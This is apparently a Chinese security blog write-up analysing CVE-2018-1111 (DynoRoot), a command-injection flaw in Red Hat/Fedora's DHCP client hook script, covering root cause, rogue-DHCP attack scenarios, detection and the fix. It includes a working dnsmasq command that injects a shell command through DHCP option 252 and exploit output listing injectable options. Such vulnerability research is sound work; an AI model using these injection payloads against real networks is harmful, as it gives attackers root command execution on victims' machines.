CVE-2018-1111 DynoRoot

漏洞应急响应的第三个练习
DynoRoot: Red Hat DHCP 客户端命令执行漏洞

DynoRoot 简介

2018-05-15,红帽官方发布了安全更新,修复了编号为 CVE-2018-1111 的远程代码执行漏洞,攻击者可以通过伪造 DHCP 服务器发送响应包,攻击红帽系统,获取 root 权限并执行任意命令。
对此, 官方的评级为严重

响应过程

原理分析

接到预警信息后, 我们以 Fedora 为例, 对 /etc/NetworkManager/dispatcher.d/11-dhclient 进行了分析.

根据修补的地方, 很容易就能发现漏洞存在的位置:
p1

为什么这里会出现问题呢? 先做个小实验(test.sh):

1
2
3
echo "test" | while read opt; do
echo $opt
done

这个 sh 在运行的时候会把'test'读入并打印出来:test

看起来似乎很正常. 但是, 如果传入的是这样呢?

1
2
3
echo "test'" | while read opt; do
echo $opt
done

结果依然是打印: test'

也就意味着, 这个过程不会对 ' 进行转义. 再来试试:

1
2
3
echo "test\'" | while read opt; do
echo $opt
done

如果还是输出: test', 也就意味着, 它不做转义, 反而做 去转义, 这样会导致单引号逃逸. 原本逃逸了也就算了, 偏偏 11-dhclient 还有个 ehco + eval:

1
2
3
4
5
6
eval "$(
echo "'test\' &ls # '" | while read opt; do
optvalue=new_${opt#te};
echo "export $optvalue=$opt";
done
)"

结果就是导致任意命令执行

而这里的 echo "'test\' &ls # '" 中的 echo 实际上在 11-dhclient 中对应的是

1
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*='

那么问题来了, declare 中是啥东西呢? 我们可以在 11-dhclient 中的 while read opt; do 下面插入 declare > /declare, 然后重新连接网络触发它(下面仅展示符合正则的数据):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
➜  / cat declare
...
DHCP4_BROADCAST_ADDRESS=192.168.172.255
DHCP4_DHCP_LEASE_TIME=1800
DHCP4_DHCP_MESSAGE_TYPE=5
DHCP4_DHCP_SERVER_IDENTIFIER=192.168.172.254
DHCP4_DOMAIN_NAME=localdomain
DHCP4_DOMAIN_NAME_SERVERS=192.168.172.2
DHCP4_EXPIRY=1527494037
DHCP4_IP_ADDRESS=192.168.172.170
DHCP4_NETWORK_NUMBER=192.168.172.0
DHCP4_NEXT_SERVER=192.168.172.254
DHCP4_REQUESTED_BROADCAST_ADDRESS=1
DHCP4_REQUESTED_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_DOMAIN_NAME=1
DHCP4_REQUESTED_DOMAIN_NAME_SERVERS=1
DHCP4_REQUESTED_DOMAIN_SEARCH=1
DHCP4_REQUESTED_HOST_NAME=1
DHCP4_REQUESTED_INTERFACE_MTU=1
DHCP4_REQUESTED_MS_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_NIS_DOMAIN=1
DHCP4_REQUESTED_NIS_SERVERS=1
DHCP4_REQUESTED_NTP_SERVERS=1
DHCP4_REQUESTED_RFC3442_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_ROUTERS=1
DHCP4_REQUESTED_STATIC_ROUTES=1
DHCP4_REQUESTED_SUBNET_MASK=1
DHCP4_REQUESTED_TIME_OFFSET=1
DHCP4_REQUESTED_WPAD=1
DHCP4_ROUTERS=192.168.172.2
DHCP4_SUBNET_MASK=255.255.255.0
...

可以看到, 能够进入 while 的有这些(非所有). 系统在调用 11-dhclient 之前肯定会对非法的敏感字符进行转义, 然后再存到 declare 中, 从之前的测试我们已经知道, while read 会做去转义, 那么我们只需找到有单引号/双引号存在的字段即可进行利用. 例如, dhcp 有 options 字段, 其中有一个252 字段, 作用是给 dhcp 客户端提供一个 url 来配置代理的, 它就可用单引号导致逃逸, 从而执行任意命令.

利用场景

那么, 它的利用场景如何呢?

  1. 主机 A 需要连接网络,所以广播发送 dhcp 的 discover 包寻找 dhcp 服务器。
  2. 主机 B 是伪装的 dhcp 服务器,一直在局域网内监听 dhcp 的 discover 的请求,接收到一个 discover 包后马上发送一个带有恶意代码的 dhcp 的 offer 报文,并在赶在真实 dhcp 服务器回复的 offer 报文之前,发送给 A。
  3. 由于 B 发送的 offer 报文已经被 A 接受,所以真实 dhcp 的 offer 报文不会被回复。(dhcp 先到先得规则)
  4. A 成功执行恶意代码,并完成接下来的 dhcp 握手
    不一定总有 discover 出现, 可能直接 request 了.

利用条件:
攻击者事先处于被攻击者需要连入的局域网内
存在受影响版本的用户(被攻击者)连入局域网,并发送 dhcp 请求
攻击者在正常 dhcp 服务之前响应被攻击者的 dhcp 请求

进一步划分, 可以分办公网与生产网来分析:

  1. 办公网:经常会有设备连入,且攻击者较为容易提前进入此局域网,只需嗅探局域网内的 dhcp 请求即可。攻击后便可以 root 权限执行任意命令。(如学校的 wlan)
  2. 生产网:网络较稳定,很少会出现设备重新连入网络,或者重新分配 ip,且捕获并成功响应 dhcp 请求有一定概率,另外攻击者需要连入此局域网较为困难,需要至少控制一台该局域网内的服务器。攻击后便可以 root 权限执行任意命令。

可见, 漏洞的利用条件还是挺苛刻的, 虽然危害很大. 官方给出的评级估计就是考虑到这点吧.

POC & EXP

dnsmasq

我的测试环境是 Ubuntu + Fedora + VM Fusion.

  1. 首先, 禁用一下 vm 的 dhcp, 如果你的是 Fusion 版的话, 新建一个网卡即可:
    p2
    然后 2 个虚拟机都使用这个网卡. 如果是 win 的版本, 自行百度. 记得把 Ubuntu 与 Fedora 的 dhcp 都禁用了

  2. Ubuntu 分配一下固定的 ip:
    p3

  3. 然后在 Ubuntu 执行命令:

    1
    sudo dnsmasq --interface=ens33 --bind-interfaces  --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252, '&id > /tmp/cve-2018-1111 #"

    可能需要改一下网卡

  4. Fedora 重新连接网络即可(要开启 dhcp, 默认是开启的), 最后去 /tmp 下找看看有没有 cve-2018-1111 这个文件, 有的话就成功了

Python + Scapy

个人认为这种方式对生产网影响最小. 如果不想装 scapy 的话或者连 Python 都没有, 可以用 pyInstaller 生成一个可执行文件, 再上传运行.
代码放在 gayhub

pyInstaller 只需要:

pip install pyInstaller

pyinstaller cve-2018-1111.py --onefile

在 dist 中即可找到

检测环境:
所有受影响的系统,并且最好保证正常的 dhcp 服务器不会给系统分配 ip

检测步骤:

  1. 将测试的代码的权限改为 777:
    chmod 777 ./CVE-2018-1111

  2. 运行 CVE-2018-1111, 命令如下:
    sudo ./CVE-2018-1111

  3. 等待检测代码返回结果

检测代码在启动的时候会先对测试环境进行检测,检测的内容为:

  1. 能否使用 /etc/init.d/network restart 重新连接网络
  2. 能否使用 ifconfig
  3. 能否获取到网卡(注意,代码自动获取的网卡不一定是能用的,如 lo,如果出现这种情况就需要手动指定网卡:sudo ./CVE-2018-1111 网卡名字

检测时会出现的提示如下:
p6

检测代码总体思路:

检查检测环境:

  1. 能否使用 /etc/init.d/network restart 重新连接网络
  2. 能否使用 ifconfig
  3. 能否获取到网卡, 若能,返回第一个获取到的网卡

开启 2 个进程,一个分给嗅探器,一个分给网络重启器

  1. 嗅探器用于捕获 dhcp 请求
  2. 网络重启器用于触发 dhcp 请求

嗅探器开启后,对捕获的 dhcp 进行不同的响应:

  1. 捕获 dhcp discover:响应 offer
  2. 捕获 dhcp request:响应 ack

嗅探器在响应 ack 后,检查插入的 payload 是否成功执行:

Payload:id > /tmp/cve-2018-1111

  1. 若存在,则删除/tmp/cve-2018-1111, 返回成功
  2. 否则返回失败

结果实例:
p4

至于 exp, 把触发网络重连的那个进程删掉就好了.

修复方案

只需稍微更改存在漏洞的脚本即可。
红色一行为修改前,绿色一行为修改后:
p1

修复方案:

  1. 方案一:
    使用官方给出的脚本替换

  2. 方案二:
    按照漏洞修复给出的图手动更改脚本

后记

除了 252 实际上还有很多可利用的( []中的是 options 代号 ):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
➜  下载 sudo python test.py ens33
[*]check environment
[+]check for /etc/init.d/network: OK
[+]check for ifconfig: OK
[+]get interface: OK
[+]Done
[*]Exploit

[14]Exploit as root successfully
[18]Exploit as root successfully
[43]Exploit as root successfully
[56]Exploit as root successfully
[60]Exploit as root successfully
[61]Exploit as root successfully
[62]Exploit as root successfully
[63]Exploit as root successfully
[64]Exploit as root successfully
[66]Exploit as root successfully
[67]Exploit as root successfully
[77]Exploit as root successfully
[81]Exploit as root successfully
[82]Exploit as root successfully
[86]Exploit as root successfully
[87]Exploit as root successfully
[98]Exploit as root successfully
[99]Exploit as root successfully
[100]Exploit as root successfully
[101]Exploit as root successfully
[113]Exploit as root successfully
[114]Exploit as root successfully
[124]Exploit as root successfully
[125]Exploit as root successfully
[252]Exploit as root successfully

过滤了 failed 的输出.

这些当然是用 py+scapy 测试的啦, 就是上面 gayhub 的代码改编的. 所以别太依赖别人的 poc, 自己写的更灵活~

测试的时候我比较懒, 直接写了 range(256). 实际上, 每个 option 都会有对应的值, 固定值比较小的就直接可以不测了(比如 13 这个 option 的值长度只能为 1)

至于为什么 declare 在这里返回的会是 DHCP4_ 开头的值, 又为什么有些 option 可以有些却不行, 如 Domain NameHost Name. 事实上系统对 Domain NameHost Name 有些很奇怪的特性, 比如会给你自动加单引号之类的. 对于 252 这个字段中含有单引号时, 处理的方式也没法直接从 declare 的值看出来. 等等等等. 其实到现在, 对于这个漏洞的分析都是黑盒分析, 这些需要进一步分析系统对 dhcp 的响应过程:

dhcpClient 的内部处理

在网上下载 dhcpClient 的源码进行分析:

  1. 每个 option 都会进入到 dhclientcheck_option_values 中,
    进行检查. 这个函数用一个 switch 将逻辑分流, 可以看到, 有几个比较特殊, 被拎了出来. 比如 check_domain_name 这个函数, 对特殊的字符限制比较完善, 基本没戏.
    p7
    p8

  2. 上面说的是被 client_option_envadd 调用的, 这个函数就是写 declare 用的. 通过 1 中的检查后, 由 client_envadd 写入.

  3. 至于转义以及奇怪的行为, 应该都是 pretty_print_option 做的, 里面还调用了 pretty_text 以及 pretty_escape 等. 这些函数都在 options.c 中. 如 pretty_escape 对下图的敏感字符做了处理:
    p9

所以, 这锅甩给那个 11-dhclient, 一点毛病没有.

至此, 算是比较完整的分析了
;)


来呀快活呀


CVE-2018-1111 DynoRoot
https://www.tr0y.wang/2018/05/18/CVE-2018-1111/
作者
Tr0y
发布于
2018年5月18日
更新于
2024年4月19日
许可协议